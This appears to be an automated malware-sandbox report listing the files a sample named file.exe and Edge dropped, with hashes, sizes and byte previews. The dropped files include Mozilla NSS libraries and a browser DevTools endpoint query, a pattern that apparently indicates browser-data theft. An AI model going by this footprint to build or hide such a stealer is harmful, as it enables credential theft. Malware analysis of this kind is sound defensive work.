".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.m.7.d.9.N.Q.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	3.9999541307799737
Encrypted:	false
SSDEEP:	96:TYTJ81jPgXXEx0Z33p38CRLvIQbflErGWYuSJB:Tu8x903bSMdErIP
MD5:	9DF9D65B84F434428F6652E13ED1D042
SHA1:	9E13523A776AB24F4EAAD89B0E6DC70332C7807B
SHA-256:	F956B64F25BB12CB4D63D2BE87DF9DD958EFDA68DE016F6E610F7806FAFF8A16
SHA-512:	127D9B57779EA1B7187845A8960A9BEC11F1E5EC4B3CBCE7C24FA0BFD1D89B489B398FDB060BE92CB192FB5F37FCF6CDF2BD5DFCAD5E0FE62B492207EBD2AB7D
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".+.o.C./.K.p.E.o.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.m.7.d.9.N.Q.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.9117561536913286
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7x5yxl9Il8uDHvj0AmYzvgZKEmgoW1YhYlMDgLcOld/vc:aKYtr0ZYzvggEF1uYlMD0E
MD5:	402943D4D73972193F530E3F1D9586F2
SHA1:	4FF89A11AF9C68BFA1D6E698A3D77020ECEAA5DD
SHA-256:	7F6E6862151CC8082B52E553A960170744720D00A1579FCEDCDA3C5A792248EB
SHA-512:	BF93E1FA9CE7DA144333D4092DA5D38D48DCE2564CEA0CEB444FEFEFEC69861A039675B5929C69AE04D858BDC975A7DD942DE5B4B4D59EECFBCB5C37A8A7A24F
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".k.e.s.s.W.2.J.H.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.m.7.d.9.N.Q.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3500
Entropy (8bit):	5.392467574660014
Encrypted:	false
SSDEEP:	96:6NnQ2HQlNnQ4cgbQ4DNnQE9QtNnQn13dgEQnRNnQUQxNnQsDQPNnQUwQHNnQb3Q/:6N6NjcSDNoNwkNGNJsN7LNL
MD5:	E09119C891CB5BF9A1EFCA347B8EA365
SHA1:	DB8116675E85A2E69928BFBAD1BCEED1A34FC58C
SHA-256:	81F9B3AF508A2B8D6B13E4A8C4D409DA27F799E3917E680C0057DD13D2552BBF
SHA-512:	DE8379D22616515FB96F18D4F8B16FC066EA7AF78FEF0816B229DC1C28780D10AA62B9590C2662F26B2F1D5FE613D227A7C813BF8A0ECEEB36743203AA8900B9
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/64F7806204467198A90FD41C2CFA7E4B",.. "id": "64F7806204467198A90FD41C2CFA7E4B",.. "title": "Microsoft Voices",.. "type": "background_page",.. "url": "chrome-extension://jdiccldimpdaibmpdkjnbmckianbfold/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/64F7806204467198A90FD41C2CFA7E4B"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/4235E296314DC0439F13536E3C7E0739",.. "id": "4235E296314DC0439F13536E3C7E0739",.. "title": "WebRTC Internals Extension",.. "type": "background_page",.. "url": "chrome-extension://ncbjelpjchkpbikbpkcchkhkblodoama/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/4235E296314DC0439F13536E3C7E0739"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.380812993780333
Encrypted:	false
SSDEEP:	48:SfNaoQEv+METEQEIfNaoQlj6Qlh/fNaoQVzQlfNaoQ7X0UrU0U8QU:6NnQE2ZTEQEUNnQlj6QlZNnQZQRNnQLT
MD5:	92BCCC7BA4484157A5FCB64DFEA08505
SHA1:	7A7970494D308E6791BA70833B3913FBA28333E1
SHA-256:	F64AF5963E9D4AF154B8207BD18570446337B2EB5936ECE30ADAE0A688845A9A
SHA-512:	6CF9B9168C0604EFE10447C66CFDA1A285E4BDBA55BEF50B0436823BB321C97F18EF8BDBECCB1CC012A8D26DAFC16BD1C8B61CD6E7EBDC505F5F815569B32061
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/72C8EB7FE5E3ADE76F1225EE157BD5FC",.. "id": "72C8EB7FE5E3ADE76F1225EE157BD5FC",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/72C8EB7FE5E3ADE76F1225EE157BD5FC"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/041A624F85150AF0EF1EBE2099EA0F0D",.. "id": "041A624F85150AF0EF1EBE2099EA0F0D",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/041A624F85150AF0EF1EBE2099EA0F0D"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\08a66e22-8fee-4e06-89f2-9b91fcd759d7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1366x720, components 3
Category:	dropped
Size (bytes):	206855
Entropy (8bit):	7.983996634657522
Encrypted:	false
SSDEEP:	3072:5WcDW3D2an0GMJGqJCj+1ZxdmdopHjHTFYPQyairiVoo4XSWrPoiXvJddppWmEI5:l81Lel7E6lEMVo/S01fDpWmEgD
MD5:	788DF0376CE061534448AA17288FEA95
SHA1:	C3B9285574587B3D1950EE4A8D64145E93842AEB
SHA-256:	B7FB1D3C27E04785757E013EC1AC4B1551D862ACD86F6888217AB82E642882A5
SHA-512:	3AA9C1AA00060753422650BBFE58EEEA308DA018605A6C5287788C3E2909BE876367F83B541E1D05FE33F284741250706339010571D2E2D153A5C5A107D35001
Malicious:	false
Preview:	......Exif..II.................Ducky.......2......Adobe.d...........................................................#"""#''''''''''..................................................!! !!''''''''''........V.."....................................................................................!1..AQ..aq."2....R..T....Br.#S.U..b..3Cs...t6.c.$D.5uV...4d.E&....%F......................!1..AQaq....."2......BRbr3CS....#..4.............?......1f.n..T......TP....E...........P.....@.........E..@......E.P........@........E.....P.P..A@@.E..@.P.P..AP.P..AP..@....T..AP.E..P.Z .. ....."... .....7.H...w.....t.....T....M.."... P..n.n..t5..B.P..(......................................( .................... .".... .".......(.. ."....... ....o......E.6... ....."........."J......Ah......@.@@....:@{6..wCp..3...((.(.........................@..(...."............................ ........T.......@.@@........AP.P..@.E@....E@.d.E@.@@..@.P.T..@..@..P.D...@M........EO..."...=.wCp.....R......P.@......

C:\Users\user\AppData\Local\Temp\1d4198d2-018f-4c15-95b6-ad1043f29803.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	135771
Entropy (8bit):	7.802585890890899
Encrypted:	false
SSDEEP:	3072:LtlntxI0jRnnf4pTz8IayMaCRABlauflM+u0F/oWRW:pl4+hf4pTky1EABYufNFS4W
MD5:	DA75BB05D10ACC967EECAAC040D3D733
SHA1:	95C08E067DF713AF8992DB113F7E9AEC84F17181
SHA-256:	33AE9B8F06DC777BB1A65A6BA6C3F2A01B25CD1AFC291426B46D1DF27EA6E7E2
SHA-512:	56533DE53872F023809A20D1EA8532CDC2260D40B05C5A7012C8E61576FF092F006A197F759C92C6B8C429EEEC4BB542073B491DDCFD5B22CD4ECBE1A8A7C6EF
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[...........=.B.../EYp....i:........ua....w...\H.j....b....4...l.b.:u.%1z....}L.A.F.IZ.2^.j...!F.&@;L..z...02..`:J_@....m....qcQ.\|sD.r`vC.#.8lm...R.8.~A...."~)".[.M...o.a.H.$..(.d/.K.6......c........#.$..>.#..3..-...n4J.$-....N...s.G...3..q.e..(.B?."...9M......[0Y0....H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...H0F.!..w./B..$<......r-.'..xp.H..Q...8.!..R^...%..W0....q....g.D..~.".%............mo.:......<#a..e...Chp...x4z....!.!.a...qgo....p8.T.6...Z....?..CV...<..K...?....k..........q=....Y^........!..K...G...m.n..Y.Y.......u.Wf...TO".?.......U/Rd..Y....j....H..Q...{.....x.OQ.~+}...L.9_.:.,E.....q.0&...I;b..H...>...9.}.B

C:\Users\user\AppData\Local\Temp\335b611a-b3a0-4f9d-ae47-c70678a267bf.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1550023
Entropy (8bit):	7.9929127182052175
Encrypted:	true
SSDEEP:	24576:IeFcP7lAT9O0S8+ALRG7Zb08LSsQEWSmAydAKq8SGpOk2F6T79tmvVDLNQ3QB7Hq:JcPp+XN+AduksQEiNq8zpOkM67mdHu3z
MD5:	312B393667D5352BDF43BA50CE893006
SHA1:	1D582B8520227736AEB99DDAB85165776A736DAB
SHA-256:	01950AF7FA0F0946F627277832DE8732C05AC34ECF0E9A24DE0F508C4E1F44E1
SHA-512:	598127323EB3F613652D16D370B1AA2BF4B2AA634B12D51CF5D225F7FC86E26F639D0A68969D8B1EA34A4478796F3E5C3B4DF7348B01EF98F317A7B892F73B9C
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....tEXtSoftware.Adobe ImageReadyq.e<...qiTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:695f8e9f-409d-324a-b50a-1e3067707628" xmpMM:DocumentID="xmp.did:91EA24D7191011E5B1FF9488C51C29D1" xmpMM:InstanceID="xmp.iid:91EA24D6191011E5B1FF9488C51C29D1" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:6a6b844a-8117-4c4c-9b2f-30d3769ed7c7" stRef:documentID="xmp.did:695f8e9f-409d-324a-b50a-1e3067707628"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>^.i.....IDATx.bb .0..;./..;@...A.P9F...y

C:\Users\user\AppData\Local\Temp\4e87c93b-3c5f-4bc3-94d3-8e08cca9d816.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2110
Entropy (8bit):	5.400884893784099
Encrypted:	false
SSDEEP:	48:Yzj57SnaJ57H57Uv5W1Sj5W175zuR5z+5zn071eDJk5c1903bj5jJp0gcU854Rrh:8e2Fa116uCntc5toY71wM
MD5:	6FDF415F785C83E47976AB12AD754600
SHA1:	1FDB9598A28EBA80B0625C70DAF5F1549D184C3C
SHA-256:	6DBBFB21914034309E68B048EC6AF42756024A761997662DE805CE28DE8073AD
SHA-512:	38874B527A92B931CCA87968DDBFA75F7AC378EF80CB53B194639184D61D60749C27DD51E0BB51C87D9A3992FF8D711B18CBB0E07119831ABF725FC5FB242A33
Malicious:	false
Preview:	{"logTime": "1004/133448", "correlationVector":"vYS73lRT+EoO2Owh9jsc+Y","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"n/KhuHPhHmYXokB31+JZz7","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"fclQx26bUZO07waFEDe6Fn","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"0757l0tkKt37vNrdCKAm8w","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133449", "correlationVector":"uTRRkmbbqkgK/wPBCS4fct","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133449", "correlationVector":"2DrXipL1ngF91RN7IemK0e","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"d0GyjEgnW85fvDIojHVIXI","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"PvfzGWRutB/kmuXUK+c8XA","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"29CB75FBC4C942E0817A1F7A0E2CF647

C:\Users\user\AppData\Local\Temp\dc19dbcb-d439-48cb-9574-385bd4ecbe45.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\e9b25086-2512-471f-8f18-0b3a180c3f73.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 41900
Category:	dropped
Size (bytes):	76321
Entropy (8bit):	7.996057445951542
Encrypted:	true
SSDEEP:	1536:hS5Vvm808scZeEzFrSpzBUl4MZIGM/iys3BBrYunau6wpGzxue:GdS8scZNzFrMa4M+lK5/nXexue
MD5:	D7A1AC56ED4F4D17DD0524C88892C56D
SHA1:	4153CA1A9A4FD0F781ECD5BA9D2A1E68C760ECD4
SHA-256:	0A29576C4002D863B0C5AE7A0B36C0BBEB0FB9AFD16B008451D4142C07E1FF2B
SHA-512:	31503F2F6831070E887EA104296E17EE755BB6BBFB1EF2A15371534BFA2D3F0CD53862389625CF498754B071885A53E1A7F82A3546275DB1F4588E0E80BF7BEE
Malicious:	false
